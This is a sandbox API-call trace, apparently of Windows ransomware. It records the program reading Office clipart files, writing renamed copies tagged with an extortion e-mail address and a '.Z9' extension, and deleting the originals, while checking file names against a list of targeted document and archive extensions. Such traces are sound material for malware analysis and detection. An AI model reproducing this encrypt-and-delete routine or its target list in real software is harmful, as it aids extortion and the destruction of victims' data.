	[0175.888] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4f00, lpOverlapped=0x0) returned 1
	[0175.889] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.889] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.889] SetEndOfFile (hFile=0x37c) returned 1
	[0175.890] CloseHandle (hObject=0x37c) returned 1
	[0175.890] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.890] SetEndOfFile (hFile=0x344) returned 1
	[0175.902] CloseHandle (hObject=0x344) returned 1
	[0175.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1
	[0175.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.904] lstrlenW (lpString=".doc") returned 4
	[0175.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.904] lstrlenW (lpString=".docx") returned 5
	[0175.904] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0175.904] lstrlenW (lpString=".pdf") returned 4
	[0175.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.904] lstrlenW (lpString=".xls") returned 4
	[0175.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.904] lstrlenW (lpString=".xlsx") returned 5
	[0175.904] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0175.904] lstrlenW (lpString=".ppt") returned 4
	[0175.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.904] lstrlenW (lpString=".zip") returned 4
	[0175.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.904] lstrlenW (lpString=".rar") returned 4
	[0175.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.904] lstrlenW (lpString=".bz2") returned 4
	[0175.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.905] lstrlenW (lpString=".7z") returned 3
	[0175.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.905] lstrlenW (lpString=".dbf") returned 4
	[0175.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.905] lstrlenW (lpString=".1cd") returned 4
	[0175.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.905] lstrlenW (lpString=".jpg") returned 4
	[0175.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.905] lstrlenW (lpString=".doc") returned 4
	[0175.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.905] lstrlenW (lpString=".docx") returned 5
	[0175.905] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0175.905] lstrlenW (lpString=".pdf") returned 4
	[0175.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.905] lstrlenW (lpString=".xls") returned 4
	[0175.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.905] lstrlenW (lpString=".xlsx") returned 5
	[0175.907] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0175.907] lstrlenW (lpString=".ppt") returned 4
	[0175.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.907] lstrlenW (lpString=".zip") returned 4
	[0175.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.907] lstrlenW (lpString=".rar") returned 4
	[0175.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.907] lstrlenW (lpString=".bz2") returned 4
	[0175.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.907] lstrlenW (lpString=".7z") returned 3
	[0175.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.907] lstrlenW (lpString=".dbf") returned 4
	[0175.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.907] lstrlenW (lpString=".1cd") returned 4
	[0175.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0175.907] lstrlenW (lpString=".jpg") returned 4
	[0175.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.908] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0175.908] lstrlenW (lpString="J0107262.WMF") returned 12
	[0175.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0175.909] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7996) returned 1
	[0175.909] CloseHandle (hObject=0x344) returned 1
	[0175.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220
	[0175.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0175.910] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.910] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0175.910] GetLastError () returned 0x0
	[0175.911] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1f3c, lpOverlapped=0x0) returned 1
	[0175.913] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0175.914] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.914] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.914] SetEndOfFile (hFile=0x37c) returned 1
	[0175.914] CloseHandle (hObject=0x37c) returned 1
	[0175.914] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.915] SetEndOfFile (hFile=0x344) returned 1
	[0175.917] CloseHandle (hObject=0x344) returned 1
	[0175.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1
	[0175.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.919] lstrlenW (lpString=".doc") returned 4
	[0175.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.919] lstrlenW (lpString=".docx") returned 5
	[0175.919] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0175.919] lstrlenW (lpString=".pdf") returned 4
	[0175.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.919] lstrlenW (lpString=".xls") returned 4
	[0175.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.919] lstrlenW (lpString=".xlsx") returned 5
	[0175.919] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0175.919] lstrlenW (lpString=".ppt") returned 4
	[0175.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.919] lstrlenW (lpString=".zip") returned 4
	[0175.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.919] lstrlenW (lpString=".rar") returned 4
	[0175.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.919] lstrlenW (lpString=".bz2") returned 4
	[0175.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.919] lstrlenW (lpString=".7z") returned 3
	[0175.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.920] lstrlenW (lpString=".dbf") returned 4
	[0175.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.920] lstrlenW (lpString=".1cd") returned 4
	[0175.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.920] lstrlenW (lpString=".jpg") returned 4
	[0175.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.920] lstrlenW (lpString=".doc") returned 4
	[0175.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.920] lstrlenW (lpString=".docx") returned 5
	[0175.920] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0175.920] lstrlenW (lpString=".pdf") returned 4
	[0175.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.920] lstrlenW (lpString=".xls") returned 4
	[0175.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.920] lstrlenW (lpString=".xlsx") returned 5
	[0175.920] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0175.920] lstrlenW (lpString=".ppt") returned 4
	[0175.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.920] lstrlenW (lpString=".zip") returned 4
	[0175.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.921] lstrlenW (lpString=".rar") returned 4
	[0175.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.921] lstrlenW (lpString=".bz2") returned 4
	[0175.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.921] lstrlenW (lpString=".7z") returned 3
	[0175.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.921] lstrlenW (lpString=".dbf") returned 4
	[0175.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.921] lstrlenW (lpString=".1cd") returned 4
	[0175.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0175.921] lstrlenW (lpString=".jpg") returned 4
	[0175.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.921] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0175.921] lstrlenW (lpString="J0107264.WMF") returned 12
	[0175.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0175.923] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=5272) returned 1
	[0175.923] CloseHandle (hObject=0x344) returned 1
	[0175.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220
	[0175.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0175.923] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.923] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0175.924] GetLastError () returned 0x0
	[0175.924] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1498, lpOverlapped=0x0) returned 1
	[0175.926] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0176.383] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.383] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.383] SetEndOfFile (hFile=0x37c) returned 1
	[0176.651] CloseHandle (hObject=0x37c) returned 1
	[0176.666] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.666] SetEndOfFile (hFile=0x344) returned 1
	[0176.670] CloseHandle (hObject=0x344) returned 1
	[0176.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1
	[0176.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.671] lstrlenW (lpString=".doc") returned 4
	[0176.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.671] lstrlenW (lpString=".docx") returned 5
	[0176.671] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.671] lstrlenW (lpString=".pdf") returned 4
	[0176.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.671] lstrlenW (lpString=".xls") returned 4
	[0176.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.672] lstrlenW (lpString=".xlsx") returned 5
	[0176.672] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.672] lstrlenW (lpString=".ppt") returned 4
	[0176.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.672] lstrlenW (lpString=".zip") returned 4
	[0176.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.672] lstrlenW (lpString=".rar") returned 4
	[0176.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.672] lstrlenW (lpString=".bz2") returned 4
	[0176.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.672] lstrlenW (lpString=".7z") returned 3
	[0176.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.672] lstrlenW (lpString=".dbf") returned 4
	[0176.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.672] lstrlenW (lpString=".1cd") returned 4
	[0176.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.672] lstrlenW (lpString=".jpg") returned 4
	[0176.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.672] lstrlenW (lpString=".doc") returned 4
	[0176.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.673] lstrlenW (lpString=".docx") returned 5
	[0176.673] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.673] lstrlenW (lpString=".pdf") returned 4
	[0176.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.673] lstrlenW (lpString=".xls") returned 4
	[0176.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.673] lstrlenW (lpString=".xlsx") returned 5
	[0176.673] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.673] lstrlenW (lpString=".ppt") returned 4
	[0176.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.673] lstrlenW (lpString=".zip") returned 4
	[0176.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.673] lstrlenW (lpString=".rar") returned 4
	[0176.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.673] lstrlenW (lpString=".bz2") returned 4
	[0176.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.673] lstrlenW (lpString=".7z") returned 3
	[0176.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.673] lstrlenW (lpString=".dbf") returned 4
	[0176.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.674] lstrlenW (lpString=".1cd") returned 4
	[0176.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0176.674] lstrlenW (lpString=".jpg") returned 4
	[0176.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.675] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0176.675] lstrlenW (lpString="J0107288.WMF") returned 12
	[0176.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0176.676] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=13436) returned 1
	[0176.676] CloseHandle (hObject=0x344) returned 1
	[0176.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220
	[0176.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0176.677] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.677] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0176.678] GetLastError () returned 0x0
	[0176.678] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x347c, lpOverlapped=0x0) returned 1
